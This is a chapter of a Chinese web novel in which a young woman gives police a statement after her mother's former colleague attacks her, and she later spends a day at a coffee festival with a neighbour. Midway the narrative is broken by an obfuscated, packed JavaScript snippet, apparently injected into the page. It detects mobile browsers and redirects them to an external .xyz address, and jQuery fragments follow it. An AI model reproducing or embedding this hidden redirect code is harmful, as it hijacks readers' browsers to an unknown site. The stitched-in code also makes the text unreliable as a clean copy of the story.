民警赶到暗巷时,陆天昊还在挣扎着嘶吼,姜鹿和邻居按着他的胳膊。
宁轲蹲在一旁,右手小臂被钢管蹭出了道血痕。
“都别激动,跟我们回所里做笔录。”民警控制住场面,给陆天昊戴上手铐,又递给宁轲一包碘伏棉签。
警车驶离筒子楼时,宁轲透过车窗看向自家方向,窗帘紧闭。
审讯室里,白炽灯亮得刺眼。
宁轲坐在桌前,一边用棉签轻擦小臂的伤口,一边条理清晰地叙述经过:“我从老法官家拿完我妈赵晚吟的旧案证词,走到暗巷时,陆天昊突然冲出来,说我爸宁□□当年逼他用劣质钢材,还说我妈瞒报证据,然后就拿钢管打我。”
民警递过纸巾,追问:“你知道陆天昊说的劣质钢材、瞒报证据具体指什么吗?和你母亲当年的案子有关?”
宁轲身体微微发抖,从包里掏出皱巴巴的证词。
她推到桌中央:“这是老法官给的补充证词,上面写着星耀二期钢材验收时,我爸作为中层干预记录,要求修改不合格结果。我妈当时是资料员,应该知道这件事。”
说到这里,她的声音低了下去。
“陆天昊可能知道更多隐情,但他上来就动手,根本没给我问的机会。”
提到陆天昊的恶意,宁轲抬头看向民警:“他一直盯着我,说要算宁家的账,好像把我和我爸的错混在一起了。我怀疑,他不仅恨我爸,可能还觉得我在帮我爸掩盖当年的事。”
隔壁审讯室里,陆天昊坐在铁椅上,手铐锁在桌腿上,情绪激动。
面对民警的询问,他扯着沙哑的嗓子喊:“我没做错!宁□□当年逼我供劣质钢材,不然就不给我结货款!我妈去找他理论,反被他和女富豪诬陷以次充好,最后气病去世!赵晚吟明明有验收不合格的证据,却帮宁□□藏起来,让我妈背黑锅!”
民警打断他的嘶吼,追问:“你说赵晚吟藏了证据,有什么依据?还有,你为什么要对宁轲动手?她当年只是个孩子。”
陆天昊的眼神暗了下来,手指无意识地抠着桌沿:“我在档案馆见过她,她查星耀二期的旧案,肯定是想帮宁□□销毁证据!宁家的人没一个好东西,宁□□躲着不出来,我就找他女儿要说法!”
他顿了顿,突然提到那盘磁带。
“我有女富豪行贿的录音,里面有宁□□的声音!他们都是一伙的,当年坑了我,现在女富豪死了,宁□□也别想跑!”
可当民警追问录音的具体细节,以及他如何确定声音是宁□□时,陆天昊支支吾吾起来。
他只反复说:“我记不清了,电击治疗后脑子不好使,但我肯定没听错!”
他的证词里,掺杂着太多被仇恨扭曲的记忆,真假难辨。
最后做笔录的姜鹿,思路清晰地还原了现场:“我下班路过暗巷,刚好看到陆天昊拿钢管砸宁轲,宁轲当时都懵了,根本没还手。我赶紧冲上去拦着,陆天昊还喊‘宁家的账一起算’,情绪特别激动。”
民警问起陆天昊和宁家的过往,姜鹿回忆道:“我当年在星耀二期做监工,见过陆天昊送钢材,也听说过他和宁□□闹矛盾,好像是货款和材料质量的问题。不过赵晚吟人很好,当时还帮过我整理资料,我不信她会主动藏证据,可能是被宁□□逼的?”
提到宁轲的处境,姜鹿叹了口气:“小轲这孩子挺可怜的,一边查她妈的旧案,一边还要面对她爸的疑点,现在又被陆天昊当成发泄对象。陆天昊的仇找错人了,宁轲也是当年事件的受害者,她比谁都想知道真相。”
三份笔录做完时,窗外已经黑透。
民警看着桌上的材料,眉头紧锁。
宁轲的证词有物证(证词文件)支撑,逻辑连贯。
陆天昊的证词充满情绪,关键细节模糊,提到的磁带和宁□□干预验收,与宁轲的说法部分吻合。
姜鹿的旁观者视角,则证实了陆天昊的主动攻击性。
此刻的宁轲,坐在审讯室的椅子上,看着小臂上结痂的伤口,心里只有一个念头:
必须找到父亲宁□□,当面问清楚,到底是不是他一手策划的?
警车停在筒子楼路口。
宁轲谢过送她们回来的民警,转头对姜鹿摆手:“鹿姐,你先回去吧,我自己上去就行。”
姜鹿看着她小臂上贴着的纱布,还是不放心:“真不用我陪你?万一……”
“没事的。”宁轲打断她。
“我得找我爸问清楚。”
姜鹿只好点头,临走前叮嘱:“有情况随时给我打电话。”
看着姜鹿的身影消失在巷口,宁轲从哈伦裤口袋里掏出诺基亚手机。
她翻到通讯录里宁□□的名字,指尖悬了几秒才按下拨号键。
忙音响了一遍又一遍,最终自动挂断。
她又拨了两次,结果还是一样。
“果然在躲我。”宁轲咬了咬唇,把手机塞回口袋。
既然从宁□□嘴里问不出真相,那就只能靠自己找。
她转身往楼道走,刚到家门口,就看到一个熟悉的身影。
白百合拎着两个袋子,站在路灯投下的光影里。
“百合,你等了很久?”宁轲快步走过去,问道。
白百合点点头,把手里的袋子递过来:“听街坊说你在暗巷被人袭击,还受了伤,我就去药店买了点消炎的药膏,又买了些水果,想着能帮你快点恢复。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502659|186024||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
宁轲赶紧掏出钥匙开门,把白百合让进屋里。
客厅里还保持着她早上出门时的样子,只是桌上多了几张从老法官家带回来的证词复印件。
白百合把药膏和水果放在桌上,目光扫过复印件上的星耀二期字样,又很快移开。
她轻声问:“宁轲,明天是周末,你有空吗?”
宁轲愣了一下,想起自己这周刚好调休,便点头:“有空,怎么了?”
“听说大学路在办首届咖啡节,街上有40多家咖啡馆摆露天座,还能拿2009的贴纸换手冲咖啡。”白百合的眼里带着笑意。
“想着带你去散散心,总在家里待着也闷。”
宁轲心里一动。
自从开始查母亲的旧案,她每天都被焦虑和疑惑缠着,很久没有好好放松过了。
她没有多想,笑着答应:“好啊,明天我们一起去。”
第二天一早,宁轲换了件轻便的外套,刚走到筒子楼楼下,就看到白百合已经在等她。
两人坐公交去大学路时,还聊起最近热门的□□农场:“我昨晚定了凌晨两点的闹钟偷菜,结果手慢了一步,菜全被好友偷光了!”
白百合笑着说。
宁轲也忍不住笑:“我妈以前也玩这个,可惜她现在……”
话说到一半,她及时停住,白百合也没多问,转而说起咖啡节的趣事。
到了大学路,整条街都飘着咖啡香。
两人先去领了2009的纪念贴纸,换了两杯手冲咖啡,又在各个咖啡馆的露天座间闲逛。
下午的时候,白百合提议去万达影城看电影:“听说刚上了一部叫《风声》的电影,评价挺好的,还是IMAX厅。”
宁轲很少看电影,跟着白百合走进影院时,倒是新鲜。
两个小时的电影结束后。
宁轲还沉浸在剧情里,白百合笑着拍了拍她的肩:“没想到你也喜欢这类悬疑片。”
宁轲点点头,这一天的轻松时光,让她暂时忘了父亲的躲避和旧案的沉重。
第一次有了有朋友在身边的踏实感。
大学毕业后,她的朋友们各奔东西,她很久没有这样开心过了。
傍晚回到筒子楼,两人在楼下挥手告别。
“我住15楼,先上去啦,”白百合挥了挥手,又想起什么,补充道。
“宁轲,你记得今晚设偷菜闹钟,别再让好友把菜偷光了!”
宁轲哈哈笑起来,摆了摆手:“知道了,你也早点休息!”
看着白百合走进楼道,宁轲脸上的笑容慢慢淡了下来。
她摸出口袋里的诺基亚,屏幕上依然没有宁□□的未接来电。